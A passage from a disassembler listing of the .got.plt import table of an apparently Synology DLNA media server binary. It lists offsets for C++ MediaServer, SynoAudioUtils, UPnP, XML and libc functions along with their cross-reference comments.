.got.plt:080BA318                                         ; SynoAudioUtils::SmartPLSGetCount(void)
.got.plt:080BA31C off_80BA31C     dd offset _ZN11MediaServer17DMSFormatUPNPDateEPKc
.got.plt:080BA31C                                         ; DATA XREF: MediaServer::DMSFormatUPNPDate(char  const*)r
.got.plt:080BA31C                                         ; MediaServer::DMSFormatUPNPDate(char  const*)
.got.plt:080BA320 off_80BA320     dd offset _ZN14SynoAudioUtils20SmartPLSGetSongCountEib
.got.plt:080BA320                                         ; DATA XREF: SynoAudioUtils::SmartPLSGetSongCount(int,bool)r
.got.plt:080BA320                                         ; SynoAudioUtils::SmartPLSGetSongCount(int,bool)
.got.plt:080BA324 off_80BA324     dd offset _ZSt28_Rb_tree_rebalance_for_erasePSt18_Rb_tree_node_baseRS_
.got.plt:080BA324                                         ; DATA XREF: std::_Rb_tree_rebalance_for_erase(std::_Rb_tree_node_base *,std::_Rb_tree_node_base&)r
.got.plt:080BA324                                         ; std::_Rb_tree_rebalance_for_erase(std::_Rb_tree_node_base *,std::_Rb_tree_node_base&)
.got.plt:080BA328 off_80BA328     dd offset access        ; DATA XREF: _accessr
.got.plt:080BA32C off_80BA32C     dd offset ixmlDocument_free
.got.plt:080BA32C                                         ; DATA XREF: _ixmlDocument_freer
.got.plt:080BA330 off_80BA330     dd offset ixmlPrintDocument
.got.plt:080BA330                                         ; DATA XREF: _ixmlPrintDocumentr
.got.plt:080BA334 off_80BA334     dd offset ixmlNode_getAttributes
.got.plt:080BA334                                         ; DATA XREF: _ixmlNode_getAttributesr
.got.plt:080BA338 off_80BA338     dd offset inet_ntoa     ; DATA XREF: _inet_ntoar
.got.plt:080BA33C off_80BA33C     dd offset _ZNSt13basic_filebufIcSt11char_traitsIcEEC1Ev
.got.plt:080BA33C                                         ; DATA XREF: std::basic_filebuf<char,std::char_traits<char>>::basic_filebuf(void)r
.got.plt:080BA33C                                         ; std::basic_filebuf<char,std::char_traits<char>>::basic_filebuf(void)
.got.plt:080BA340 off_80BA340     dd offset ixmlNode_getChildNodes
.got.plt:080BA340                                         ; DATA XREF: _ixmlNode_getChildNodesr
.got.plt:080BA344 off_80BA344     dd offset _ZN11MediaServer15XMLEnumElementsEP10_IXML_NodeRKSs
.got.plt:080BA344                                         ; DATA XREF: MediaServer::XMLEnumElements(_IXML_Node *,std::string  const&)r
.got.plt:080BA344                                         ; MediaServer::XMLEnumElements(_IXML_Node *,std::string  const&)
.got.plt:080BA348 off_80BA348     dd offset _ZNSs7reserveEj
.got.plt:080BA348                                         ; DATA XREF: std::string::reserve(uint)r
.got.plt:080BA348                                         ; std::string::reserve(uint)
.got.plt:080BA34C off_80BA34C     dd offset pcre_get_substring_list
.got.plt:080BA34C                                         ; DATA XREF: _pcre_get_substring_listr
.got.plt:080BA350 off_80BA350     dd offset _ZNKSs4findEPKcjj
.got.plt:080BA350                                         ; DATA XREF: std::string::find(char  const*,uint,uint)r
.got.plt:080BA350                                         ; std::string::find(char  const*,uint,uint)
.got.plt:080BA354 off_80BA354     dd offset malloc        ; DATA XREF: _mallocr
.got.plt:080BA358 off_80BA358     dd offset ixmlCloneDOMString
.got.plt:080BA358                                         ; DATA XREF: _ixmlCloneDOMStringr
.got.plt:080BA35C off_80BA35C     dd offset pthread_mutex_init
.got.plt:080BA35C                                         ; DATA XREF: _pthread_mutex_initr
.got.plt:080BA360 off_80BA360     dd offset fscanf        ; DATA XREF: _fscanfr
.got.plt:080BA364 off_80BA364     dd offset _ZNSsC1ERKSsjj
.got.plt:080BA364                                         ; DATA XREF: std::string::string(std::string  const&,uint,uint)r
.got.plt:080BA364                                         ; std::string::string(std::string  const&,uint,uint)
.got.plt:080BA368 off_80BA368     dd offset SLIBCFileGetKeyValue
.got.plt:080BA368                                         ; DATA XREF: _SLIBCFileGetKeyValuer
.got.plt:080BA36C off_80BA36C     dd offset fread         ; DATA XREF: _freadr
.got.plt:080BA370 off_80BA370     dd offset memmove       ; DATA XREF: _memmover
.got.plt:080BA374 off_80BA374     dd offset _ZN11MediaServer23XMLGetFirstDocumentItemEP14_IXML_DocumentPKcPb
.got.plt:080BA374                                         ; DATA XREF: MediaServer::XMLGetFirstDocumentItem(_IXML_Document *,char  const*,bool *)r
.got.plt:080BA374                                         ; MediaServer::XMLGetFirstDocumentItem(_IXML_Document *,char  const*,bool *)
.got.plt:080BA378 off_80BA378     dd offset _ZN11MediaServer16DMSClientChecker13GetOffendCharEv
.got.plt:080BA378                                         ; DATA XREF: MediaServer::DMSClientChecker::GetOffendChar(void)r
.got.plt:080BA378                                         ; MediaServer::DMSClientChecker::GetOffendChar(void)
.got.plt:080BA37C off_80BA37C     dd offset _ZN11MediaServer13StringExplodeERKSsS1_
.got.plt:080BA37C                                         ; DATA XREF: MediaServer::StringExplode(std::string  const&,std::string  const&)r
.got.plt:080BA37C                                         ; MediaServer::StringExplode(std::string  const&,std::string  const&)
.got.plt:080BA380 off_80BA380     dd offset _ZNSt12__basic_fileIcED1Ev
.got.plt:080BA380                                         ; DATA XREF: std::__basic_file<char>::~__basic_file()r
.got.plt:080BA380                                         ; std::__basic_file<char>::~__basic_file()
.got.plt:080BA384 off_80BA384     dd offset syslog        ; DATA XREF: _syslogr
.got.plt:080BA388 off_80BA388     dd offset daemon        ; DATA XREF: _daemonr
.got.plt:080BA38C off_80BA38C     dd offset ixmlNamedNodeMap_free
.got.plt:080BA38C                                         ; DATA XREF: _ixmlNamedNodeMap_freer
.got.plt:080BA390 off_80BA390     dd offset _ZNSs6appendERKSs
.got.plt:080BA390                                         ; DATA XREF: std::string::append(std::string  const&)r
.got.plt:080BA390                                         ; std::string::append(std::string  const&)
.got.plt:080BA394 off_80BA394     dd offset _ZN11MediaServer12GetCoverListERSt6vectorISsSaISsEE
.got.plt:080BA394                                         ; DATA XREF: MediaServer::GetCoverList(std::vector<std::string,std::allocator<std::string>> &)r
.got.plt:080BA394                                         ; MediaServer::GetCoverList(std::vector<std::string,std::allocator<std::string>> &)
.got.plt:080BA398 off_80BA398     dd offset UpnpAddToActionResponse
.got.plt:080BA398                                         ; DATA XREF: _UpnpAddToActionResponser
.got.plt:080BA39C off_80BA39C     dd offset _ZN11MediaServer14DMSLOGSetLevelENS_12DMSLOG_LEVELE
.got.plt:080BA39C                                         ; DATA XREF: MediaServer::DMSLOGSetLevel(MediaServer::DMSLOG_LEVEL)r
.got.plt:080BA39C                                         ; MediaServer::DMSLOGSetLevel(MediaServer::DMSLOG_LEVEL)
.got.plt:080BA3A0 off_80BA3A0     dd offset _ZN11MediaServer7MediaDB7NextRowEv
.got.plt:080BA3A0                                         ; DATA XREF: MediaServer::MediaDB::NextRow(void)r
.got.plt:080BA3A0                                         ; MediaServer::MediaDB::NextRow(void)
.got.plt:080BA3A4 off_80BA3A4     dd offset _ZNSsD1Ev     ; DATA XREF: std::string::~string()r
.got.plt:080BA3A4                                         ; std::string::~string()
.got.plt:080BA3A8 off_80BA3A8     dd offset _ZN11MediaServer16DMSClientChecker19getVideoProfileNameEPK21__tag_SYNO_MEDIA_INFO
.got.plt:080BA3A8                                         ; DATA XREF: MediaServer::DMSClientChecker::getVideoProfileName(__tag_SYNO_MEDIA_INFO  const*)r
.got.plt:080BA3A8                                         ; MediaServer::DMSClientChecker::getVideoProfileName(__tag_SYNO_MEDIA_INFO  const*)
.got.plt:080BA3AC off_80BA3AC     dd offset __cxa_allocate_exception
.got.plt:080BA3AC                                         ; DATA XREF: ___cxa_allocate_exceptionr
.got.plt:080BA3B0 off_80BA3B0     dd offset UpnpNotify    ; DATA XREF: _UpnpNotifyr
.got.plt:080BA3B4 off_80BA3B4     dd offset _ZN11MediaServer24FileGetPathBaseNameNoExtERKSs
.got.plt:080BA3B4                                         ; DATA XREF: MediaServer::FileGetPathBaseNameNoExt(std::string  const&)r
.got.plt:080BA3B4                                         ; MediaServer::FileGetPathBaseNameNoExt(std::string  const&)
.got.plt:080BA3B8 off_80BA3B8     dd offset _ZN11MediaServer21DMSFormatUPNPDurationEi
.got.plt:080BA3B8                                         ; DATA XREF: MediaServer::DMSFormatUPNPDuration(int)r
.got.plt:080BA3B8                                         ; MediaServer::DMSFormatUPNPDuration(int)
.got.plt:080BA3BC off_80BA3BC     dd offset _ZN4Json5ValueC1Ei
.got.plt:080BA3BC                                         ; DATA XREF: Json::Value::Value(int)r
.got.plt:080BA3BC                                         ; Json::Value::Value(int)
.got.plt:080BA3C0 off_80BA3C0     dd offset ixmlNode_getNodeValue
.got.plt:080BA3C0                                         ; DATA XREF: _ixmlNode_getNodeValuer
.got.plt:080BA3C4 off_80BA3C4     dd offset _ZN11MediaServer18DMSGetProductModelEv
.got.plt:080BA3C4                                         ; DATA XREF: MediaServer::DMSGetProductModel(void)r
.got.plt:080BA3C4                                         ; MediaServer::DMSGetProductModel(void)
.got.plt:080BA3C8 off_80BA3C8     dd offset time          ; DATA XREF: _timer
.got.plt:080BA3CC off_80BA3CC     dd offset BlSYNOIndexIsRawImage
.got.plt:080BA3CC                                         ; DATA XREF: _BlSYNOIndexIsRawImager
.got.plt:080BA3D0 off_80BA3D0     dd offset _ZN11MediaServer15DMSStringBundle13ImportStringsEv
.got.plt:080BA3D0                                         ; DATA XREF: MediaServer::DMSStringBundle::ImportStrings(void)r
.got.plt:080BA3D0                                         ; MediaServer::DMSStringBundle::ImportStrings(void)
.got.plt:080BA3D4 off_80BA3D4     dd offset ixmlNodeList_item
.got.plt:080BA3D4                                         ; DATA XREF: _ixmlNodeList_itemr
.got.plt:080BA3D8 off_80BA3D8     dd offset pthread_mutex_lock
.got.plt:080BA3D8                                         ; DATA XREF: _pthread_mutex_lockr
.got.plt:080BA3DC off_80BA3DC     dd offset _ZN11MediaServer18FileGetPathDirNameERKSs
.got.plt:080BA3DC                                         ; DATA XREF: MediaServer::FileGetPathDirName(std::string  const&)r
.got.plt:080BA3DC                                         ; MediaServer::FileGetPathDirName(std::string  const&)
.got.plt:080BA3E0 off_80BA3E0     dd offset UpnpFinish    ; DATA XREF: _UpnpFinishr
.got.plt:080BA3E4 off_80BA3E4     dd offset _ZNSs4_Rep10_M_destroyERKSaIcE
.got.plt:080BA3E4                                         ; DATA XREF: std::string::_Rep::_M_destroy(std::allocator<char>  const&)r
.got.plt:080BA3E4                                         ; std::string::_Rep::_M_destroy(std::allocator<char>  const&)
.got.plt:080BA3E8 off_80BA3E8     dd offset _ZN14SynoAudioUtils9RadioInitEv
.got.plt:080BA3E8                                         ; DATA XREF: SynoAudioUtils::RadioInit(void)r
.got.plt:080BA3E8                                         ; SynoAudioUtils::RadioInit(void)
.got.plt:080BA3EC off_80BA3EC     dd offset ixmlNode_getNodeName
.got.plt:080BA3EC                                         ; DATA XREF: _ixmlNode_getNodeNamer
.got.plt:080BA3F0 off_80BA3F0     dd offset _ZN11MediaServer22DMSGetNetworkInterfaceERSt3mapISsSsSt4lessISsESaISt4pairIKSsSsEEE
.got.plt:080BA3F0                                         ; DATA XREF: MediaServer::DMSGetNetworkInterface(std::map<std::string,std::string,std::less<std::string>,std::allocator<std::pair<std::string  const,std::string>>> &)r
.got.plt:080BA3F0                                         ; MediaServer::DMSGetNetworkInterface(std::map<std::string,std::string,std::less<std::string>,std::allocator<std::pair<std::string  const,std::string>>> &)
.got.plt:080BA3F4 off_80BA3F4     dd offset strstr        ; DATA XREF: _strstrr
.got.plt:080BA3F8 off_80BA3F8     dd offset sleep         ; DATA XREF: _sleepr
.got.plt:080BA3FC off_80BA3FC     dd offset _ZN11MediaServer9XMLEscapeERKSsPKc
.got.plt:080BA3FC                                         ; DATA XREF: MediaServer::XMLEscape(std::string  const&,char  const*)r
.got.plt:080BA3FC                                         ; MediaServer::XMLEscape(std::string  const&,char  const*)
.got.plt:080BA400 off_80BA400     dd offset MediaInfoDBOpen ; DATA XREF: _MediaInfoDBOpenr
.got.plt:080BA404 off_80BA404     dd offset __strtol_internal
.got.plt:080BA404                                         ; DATA XREF: ___strtol_internalr
.got.plt:080BA408 off_80BA408     dd offset pthread_setspecific
.got.plt:080BA408                                         ; DATA XREF: _pthread_setspecificr
.got.plt:080BA40C off_80BA40C     dd offset pthread_key_create
.got.plt:080BA40C                                         ; DATA XREF: _pthread_key_creater
.got.plt:080BA410 off_80BA410     dd offset _ZNSsC1ERKSs  ; DATA XREF: std::string::string(std::string  const&)r
.got.plt:080BA410                                         ; std::string::string(std::string  const&)
.got.plt:080BA414 off_80BA414     dd offset UpnpAcceptSubscription
.got.plt:080BA414                                         ; DATA XREF: _UpnpAcceptSubscriptionr
.got.plt:080BA418 off_80BA418     dd offset __cxa_begin_catch
.got.plt:080BA418                                         ; DATA XREF: ___cxa_begin_catchr
.got.plt:080BA41C off_80BA41C     dd offset _ZN11MediaServer13DMSClientList11FindMacByIPERKSs
.got.plt:080BA41C                                         ; DATA XREF: MediaServer::DMSClientList::FindMacByIP(std::string  const&)r
.got.plt:080BA41C                                         ; MediaServer::DMSClientList::FindMacByIP(std::string  const&)
.got.plt:080BA420 off_80BA420     dd offset _Znaj         ; DATA XREF: operator new[](uint)r
.got.plt:080BA420                                         ; operator new[](uint)
.got.plt:080BA424 off_80BA424     dd offset _ZN14SynoAudioUtils19RadioGetStationDataEjjRNS_12RadioStationE
.got.plt:080BA424                                         ; DATA XREF: SynoAudioUtils::RadioGetStationData(uint,uint,SynoAudioUtils::RadioStation &)r
.got.plt:080BA424                                         ; SynoAudioUtils::RadioGetStationData(uint,uint,SynoAudioUtils::RadioStation &)
.got.plt:080BA428 off_80BA428     dd offset __xstat64     ; DATA XREF: ___xstat64r
.got.plt:080BA42C off_80BA42C     dd offset _ZSt18_Rb_tree_decrementPSt18_Rb_tree_node_base
.got.plt:080BA42C                                         ; DATA XREF: std::_Rb_tree_decrement(std::_Rb_tree_node_base *)r
.got.plt:080BA42C                                         ; std::_Rb_tree_decrement(std::_Rb_tree_node_base *)
.got.plt:080BA430 off_80BA430     dd offset _ZNSsC1EPKcRKSaIcE
.got.plt:080BA430                                         ; DATA XREF: std::string::string(char  const*,std::allocator<char>  const&)r
.got.plt:080BA430                                         ; std::string::string(char  const*,std::allocator<char>  const&)
.got.plt:080BA434 off_80BA434     dd offset initPQExpBuffer ; DATA XREF: _initPQExpBufferr
.got.plt:080BA438 off_80BA438     dd offset pcre_compile  ; DATA XREF: _pcre_compiler
.got.plt:080BA43C off_80BA43C     dd offset _ZN11MediaServer14DMSLOGGetLevelEv
.got.plt:080BA43C                                         ; DATA XREF: MediaServer::DMSLOGGetLevel(void)r
.got.plt:080BA43C                                         ; MediaServer::DMSLOGGetLevel(void)
.got.plt:080BA440 off_80BA440     dd offset SYNODBConnect ; DATA XREF: _SYNODBConnectr
.got.plt:080BA444 off_80BA444     dd offset _ZN11MediaServer16DMSClientCheckerC1ERKSsS2_b
.got.plt:080BA444                                         ; DATA XREF: MediaServer::DMSClientChecker::DMSClientChecker(std::string  const&,std::string  const&,bool)r
.got.plt:080BA444                                         ; MediaServer::DMSClientChecker::DMSClientChecker(std::string  const&,std::string  const&,bool)
.got.plt:080BA448 off_80BA448     dd offset _ZN14SynoAudioUtils12SmartPLSEnumEiiRiPKc
.got.plt:080BA448                                         ; DATA XREF: SynoAudioUtils::SmartPLSEnum(int,int,int &,char  const*)r
.got.plt:080BA448                                         ; SynoAudioUtils::SmartPLSEnum(int,int,int &,char  const*)
.got.plt:080BA44C off_80BA44C     dd offset _ZN11MediaServer13StringToLowerERKSs
.got.plt:080BA44C                                         ; DATA XREF: MediaServer::StringToLower(std::string  const&)r
.got.plt:080BA44C                                         ; MediaServer::StringToLower(std::string  const&)
.got.plt:080BA450 off_80BA450     dd offset __libc_start_main
.got.plt:080BA450                                         ; DATA XREF: ___libc_start_mainr
.got.plt:080BA454 off_80BA454     dd offset _ZN11MediaServer7MediaDB11SelectTotalEv
.got.plt:080BA454                                         ; DATA XREF: MediaServer::MediaDB::SelectTotal(void)r
.got.plt:080BA454                                         ; MediaServer::MediaDB::SelectTotal(void)
.got.plt:080BA458 off_80BA458     dd offset _ZN11MediaServer21DMSGetMediaFolderPathE21_tag_MEDIA_TABLE_TYPE
.got.plt:080BA458                                         ; DATA XREF: MediaServer::DMSGetMediaFolderPath(_tag_MEDIA_TABLE_TYPE)r
.got.plt:080BA458                                         ; MediaServer::DMSGetMediaFolderPath(_tag_MEDIA_TABLE_TYPE)
.got.plt:080BA45C off_80BA45C     dd offset _ZN11MediaServer13DMSClientList11WriteToFileEv
.got.plt:080BA45C                                         ; DATA XREF: MediaServer::DMSClientList::WriteToFile(void)r
.got.plt:080BA45C                                         ; MediaServer::DMSClientList::WriteToFile(void)
.got.plt:080BA460 off_80BA460     dd offset _ZSt18_Rb_tree_incrementPSt18_Rb_tree_node_base
.got.plt:080BA460                                         ; DATA XREF: std::_Rb_tree_increment(std::_Rb_tree_node_base *)r
.got.plt:080BA460                                         ; std::_Rb_tree_increment(std::_Rb_tree_node_base *)
.got.plt:080BA464 off_80BA464     dd offset _ZNSs14_M_replace_auxEjjjc
.got.plt:080BA464                                         ; DATA XREF: std::string::_M_replace_aux(uint,uint,uint,char)r
.got.plt:080BA464                                         ; std::string::_M_replace_aux(uint,uint,uint,char)
.got.plt:080BA468 off_80BA468     dd offset _ZN11MediaServer20XMLGetAttributeValueEP10_IXML_NodeRKSs
.got.plt:080BA468                                         ; DATA XREF: MediaServer::XMLGetAttributeValue(_IXML_Node *,std::string  const&)r
.got.plt:080BA468                                         ; MediaServer::XMLGetAttributeValue(_IXML_Node *,std::string  const&)
.got.plt:080BA46C off_80BA46C     dd offset _ZNSs6appendEPKcj
.got.plt:080BA46C                                         ; DATA XREF: std::string::append(char  const*,uint)r
.got.plt:080BA46C                                         ; std::string::append(char  const*,uint)
.got.plt:080BA470 off_80BA470     dd offset _Znwj         ; DATA XREF: operator new(uint)r
.got.plt:080BA470                                         ; operator new(uint)
.got.plt:080BA474 off_80BA474     dd offset UpnpSetWebServerRootDir
.got.plt:080BA474                                         ; DATA XREF: _UpnpSetWebServerRootDirr
.got.plt:080BA478 off_80BA478     dd offset _ZN11MediaServer7MediaDBD1Ev
.got.plt:080BA478                                         ; DATA XREF: MediaServer::MediaDB::~MediaDB()r
.got.plt:080BA478                                         ; MediaServer::MediaDB::~MediaDB()
.got.plt:080BA47C off_80BA47C     dd offset SLIBCStrTokIndex ; DATA XREF: _SLIBCStrTokIndexr
.got.plt:080BA480 off_80BA480     dd offset _ZN11MediaServer19XMLFindChildElementERKSsP10_IXML_Node
.got.plt:080BA480                                         ; DATA XREF: MediaServer::XMLFindChildElement(std::string  const&,_IXML_Node *)r
.got.plt:080BA480                                         ; MediaServer::XMLFindChildElement(std::string  const&,_IXML_Node *)
.got.plt:080BA484 off_80BA484     dd offset _ZNSt8ios_baseD2Ev
.got.plt:080BA484                                         ; DATA XREF: std::ios_base::~ios_base()r
.got.plt:080BA484                                         ; std::ios_base::~ios_base()
.got.plt:080BA488 off_80BA488     dd offset _ZSt29_Rb_tree_insert_and_rebalancebPSt18_Rb_tree_node_baseS0_RS_
.got.plt:080BA488                                         ; DATA XREF: std::_Rb_tree_insert_and_rebalance(bool,std::_Rb_tree_node_base *,std::_Rb_tree_node_base *,std::_Rb_tree_node_base&)r
.got.plt:080BA488                                         ; std::_Rb_tree_insert_and_rebalance(bool,std::_Rb_tree_node_base *,std::_Rb_tree_node_base *,std::_Rb_tree_node_base&)
.got.plt:080BA48C off_80BA48C     dd offset _ZN4Json5ValueaSERKS0_
.got.plt:080BA48C                                         ; DATA XREF: Json::Value::operator=(Json::Value const&)r
.got.plt:080BA48C                                         ; Json::Value::operator=(Json::Value const&)
.got.plt:080BA490 off_80BA490     dd offset _ZN11MediaServer10DMSLOGInitEPKc
.got.plt:080BA490                                         ; DATA XREF: MediaServer::DMSLOGInit(char  const*)r
.got.plt:080BA490                                         ; MediaServer::DMSLOGInit(char  const*)
.got.plt:080BA494 off_80BA494     dd offset MediaInfoDBGet ; DATA XREF: _MediaInfoDBGetr
.got.plt:080BA498 off_80BA498     dd offset fclose        ; DATA XREF: _fcloser
.got.plt:080BA49C off_80BA49C     dd offset _ZNSt9basic_iosIcSt11char_traitsIcEE5clearESt12_Ios_Iostate
.got.plt:080BA49C                                         ; DATA XREF: std::basic_ios<char,std::char_traits<char>>::clear(std::_Ios_Iostate)r
.got.plt:080BA49C                                         ; std::basic_ios<char,std::char_traits<char>>::clear(std::_Ios_Iostate)
.got.plt:080BA4A0 off_80BA4A0     dd offset strrchr       ; DATA XREF: _strrchrr
.got.plt:080BA4A4 off_80BA4A4     dd offset SYNONetGetCard1 ; DATA XREF: _SYNONetGetCard1r
.got.plt:080BA4A8 off_80BA4A8     dd offset _ZN11MediaServer21GetIndexLoacationPathERK21_tag_MEDIA_TABLE_TYPE
.got.plt:080BA4A8                                         ; DATA XREF: MediaServer::GetIndexLoacationPath(_tag_MEDIA_TABLE_TYPE  const&)r
.got.plt:080BA4A8                                         ; MediaServer::GetIndexLoacationPath(_tag_MEDIA_TABLE_TYPE  const&)
.got.plt:080BA4AC off_80BA4AC     dd offset _ZN11MediaServer9DMSPrintfENS_12DMSLOG_LEVELEPKcz
.got.plt:080BA4AC                                         ; DATA XREF: MediaServer::DMSPrintf(MediaServer::DMSLOG_LEVEL,char  const*,...)r
.got.plt:080BA4AC                                         ; MediaServer::DMSPrintf(MediaServer::DMSLOG_LEVEL,char  const*,...)
.got.plt:080BA4B0 off_80BA4B0     dd offset fopen64       ; DATA XREF: _fopen64r
.got.plt:080BA4B4 off_80BA4B4     dd offset UpnpGetServerPort
.got.plt:080BA4B4                                         ; DATA XREF: _UpnpGetServerPortr
.got.plt:080BA4B8 off_80BA4B8     dd offset _ZN14SynoAudioUtils14RadioGetGenresEiiRSt6vectorINS_10RadioGenreESaIS1_EERi
.got.plt:080BA4B8                                         ; DATA XREF: SynoAudioUtils::RadioGetGenres(int,int,std::vector<SynoAudioUtils::RadioGenre,std::allocator<SynoAudioUtils::RadioGenre>> &,int &)r
.got.plt:080BA4B8                                         ; SynoAudioUtils::RadioGetGenres(int,int,std::vector<SynoAudioUtils::RadioGenre,std::allocator<SynoAudioUtils::RadioGenre>> &,int &)
.got.plt:080BA4BC off_80BA4BC     dd offset _ZN11MediaServer16XMLEnumTagValuesEP10_IXML_NodeRKSs
.got.plt:080BA4BC                                         ; DATA XREF: MediaServer::XMLEnumTagValues(_IXML_Node *,std::string  const&)r
.got.plt:080BA4BC                                         ; MediaServer::XMLEnumTagValues(_IXML_Node *,std::string  const&)
.got.plt:080BA4C0 off_80BA4C0     dd offset snprintf      ; DATA XREF: _snprintfr
.got.plt:080BA4C4 off_80BA4C4     dd offset gethostname   ; DATA XREF: _gethostnamer
.got.plt:080BA4C8 off_80BA4C8     dd offset _ZN11MediaServer16DMSClientChecker15InitProfileListERKSs
.got.plt:080BA4C8                                         ; DATA XREF: MediaServer::DMSClientChecker::InitProfileList(std::string  const&)r
.got.plt:080BA4C8                                         ; MediaServer::DMSClientChecker::InitProfileList(std::string  const&)
.got.plt:080BA4CC off_80BA4CC     dd offset __cxa_pure_virtual
.got.plt:080BA4CC                                         ; DATA XREF: ___cxa_pure_virtualr
.got.plt:080BA4D0 off_80BA4D0     dd offset strcasecmp    ; DATA XREF: _strcasecmpr
.got.plt:080BA4D4 off_80BA4D4     dd offset mkstemp64     ; DATA XREF: _mkstemp64r
.got.plt:080BA4D8 off_80BA4D8     dd offset inet_ntop     ; DATA XREF: _inet_ntopr
.got.plt:080BA4DC off_80BA4DC     dd offset _ZSt20__throw_length_errorPKc
.got.plt:080BA4DC                                         ; DATA XREF: std::__throw_length_error(char  const*)r
.got.plt:080BA4DC                                         ; std::__throw_length_error(char  const*)
.got.plt:080BA4E0 off_80BA4E0     dd offset _ZdaPv        ; DATA XREF: operator delete[](void *)r
.got.plt:080BA4E0                                         ; operator delete[](void *)
.got.plt:080BA4E4 off_80BA4E4     dd offset exit          ; DATA XREF: _exitr
.got.plt:080BA4E8 off_80BA4E8     dd offset ixmlNode_getNodeType
.got.plt:080BA4E8                                         ; DATA XREF: _ixmlNode_getNodeTyper
.got.plt:080BA4EC off_80BA4EC     dd offset UpnpSetDescURL ; DATA XREF: _UpnpSetDescURLr
.got.plt:080BA4F0 off_80BA4F0     dd offset _ZNSs6assignERKSs
.got.plt:080BA4F0                                         ; DATA XREF: std::string::assign(std::string  const&)r
.got.plt:080BA4F0                                         ; std::string::assign(std::string  const&)
.got.plt:080BA4F4 off_80BA4F4     dd offset _ZN11MediaServer18SQLEscapeConditionERKSs
.got.plt:080BA4F4                                         ; DATA XREF: MediaServer::SQLEscapeCondition(std::string  const&)r
.got.plt:080BA4F4                                         ; MediaServer::SQLEscapeCondition(std::string  const&)
.got.plt:080BA4F8 off_80BA4F8     dd offset _ZN11MediaServer15SQLEscapeStringERKSs
.got.plt:080BA4F8                                         ; DATA XREF: MediaServer::SQLEscapeString(std::string  const&)r
.got.plt:080BA4F8                                         ; MediaServer::SQLEscapeString(std::string  const&)
.got.plt:080BA4FC off_80BA4FC     dd offset SLIBNetGetInterfaceInfo
.got.plt:080BA4FC                                         ; DATA XREF: _SLIBNetGetInterfaceInfor
.got.plt:080BA500 off_80BA500     dd offset free          ; DATA XREF: _freer
.got.plt:080BA504 off_80BA504     dd offset _ZN11MediaServer9URLEncodeERKSs
.got.plt:080BA504                                         ; DATA XREF: MediaServer::URLEncode(std::string  const&)r
.got.plt:080BA504                                         ; MediaServer::URLEncode(std::string  const&)
.got.plt:080BA508 off_80BA508     dd offset _ZNSs12_M_leak_hardEv
.got.plt:080BA508                                         ; DATA XREF: std::string::_M_leak_hard(void)r
.got.plt:080BA508                                         ; std::string::_M_leak_hard(void)
.got.plt:080BA50C off_80BA50C     dd offset _ZN11MediaServer13StringReplaceESsSsSs
.got.plt:080BA50C                                         ; DATA XREF: MediaServer::StringReplace(std::string,std::string,std::string)r
.got.plt:080BA50C                                         ; MediaServer::StringReplace(std::string,std::string,std::string)
.got.plt:080BA510 off_80BA510     dd offset ixmlLoadDocumentEx
.got.plt:080BA510                                         ; DATA XREF: _ixmlLoadDocumentExr
.got.plt:080BA514 off_80BA514     dd offset pcre_study    ; DATA XREF: _pcre_studyr
.got.plt:080BA518 off_80BA518     dd offset UpnpRegisterRootDevice
.got.plt:080BA518                                         ; DATA XREF: _UpnpRegisterRootDevicer
.got.plt:080BA51C off_80BA51C     dd offset _ZN14SynoAudioUtils16RadioGetStationsEjiiRSt6vectorINS_12RadioStationESaIS1_EERi
.got.plt:080BA51C                                         ; DATA XREF: SynoAudioUtils::RadioGetStations(uint,int,int,std::vector<SynoAudioUtils::RadioStation,std::allocator<SynoAudioUtils::RadioStation>> &,int &)r
.got.plt:080BA51C                                         ; SynoAudioUtils::RadioGetStations(uint,int,int,std::vector<SynoAudioUtils::RadioStation,std::allocator<SynoAudioUtils::RadioStation>> &,int &)
.got.plt:080BA520 off_80BA520     dd offset memset        ; DATA XREF: _memsetr
.got.plt:080BA524 off_80BA524     dd offset _ZSt20__throw_out_of_rangePKc
.got.plt:080BA524                                         ; DATA XREF: std::__throw_out_of_range(char  const*)r
.got.plt:080BA524                                         ; std::__throw_out_of_range(char  const*)
.got.plt:080BA528 off_80BA528     dd offset strncasecmp   ; DATA XREF: _strncasecmpr
.got.plt:080BA52C off_80BA52C     dd offset _ZN4Json5ValueD1Ev
.got.plt:080BA52C                                         ; DATA XREF: Json::Value::~Value()r
.got.plt:080BA52C                                         ; Json::Value::~Value()
.got.plt:080BA530 off_80BA530     dd offset _ZN7pcrecpp3Arg12parse_stringEPKciPv
.got.plt:080BA530                                         ; DATA XREF: .plt:pcrecpp::Arg::parse_string(char  const*,int,void *)r
.got.plt:080BA530                                         ; pcrecpp::Arg::parse_string(char  const*,int,void *)
.got.plt:080BA534 off_80BA534     dd offset ixmlNamedNodeMap_getNamedItem
.got.plt:080BA534                                         ; DATA XREF: _ixmlNamedNodeMap_getNamedItemr
.got.plt:080BA538 off_80BA538     dd offset _ZNSs6assignEPKcj
.got.plt:080BA538                                         ; DATA XREF: std::string::assign(char  const*,uint)r
.got.plt:080BA538                                         ; std::string::assign(char  const*,uint)
.got.plt:080BA53C off_80BA53C     dd offset _ZN11MediaServer7MediaDB20AddExcludeVideoCodecESs
.got.plt:080BA53C                                         ; DATA XREF: MediaServer::MediaDB::AddExcludeVideoCodec(std::string)r
.got.plt:080BA53C                                         ; MediaServer::MediaDB::AddExcludeVideoCodec(std::string)
.got.plt:080BA540 off_80BA540     dd offset lseek64       ; DATA XREF: _lseek64r
.got.plt:080BA544 off_80BA544     dd offset _ZNSt9basic_iosIcSt11char_traitsIcEE4initEPSt15basic_streambufIcS1_E
.got.plt:080BA544                                         ; DATA XREF: std::basic_ios<char,std::char_traits<char>>::init(std::basic_streambuf<char,std::char_traits<char>> *)r
.got.plt:080BA544                                         ; std::basic_ios<char,std::char_traits<char>>::init(std::basic_streambuf<char,std::char_traits<char>> *)
.got.plt:080BA548 off_80BA548     dd offset _ZN7pcrecpp2RED1Ev
.got.plt:080BA548                                         ; DATA XREF: pcrecpp::RE::~RE()r
.got.plt:080BA548                                         ; pcrecpp::RE::~RE()
.got.plt:080BA54C off_80BA54C     dd offset _Unwind_Resume ; DATA XREF: __Unwind_Resumer
.got.plt:080BA550 off_80BA550     dd offset _ZN11MediaServer14FileGetFileExtERKSs
.got.plt:080BA550                                         ; DATA XREF: MediaServer::FileGetFileExt(std::string  const&)r
.got.plt:080BA550                                         ; MediaServer::FileGetFileExt(std::string  const&)
.got.plt:080BA554 off_80BA554     dd offset _ZN11MediaServer19FileGetPathBaseNameERKSs
.got.plt:080BA554                                         ; DATA XREF: MediaServer::FileGetPathBaseName(std::string  const&)r
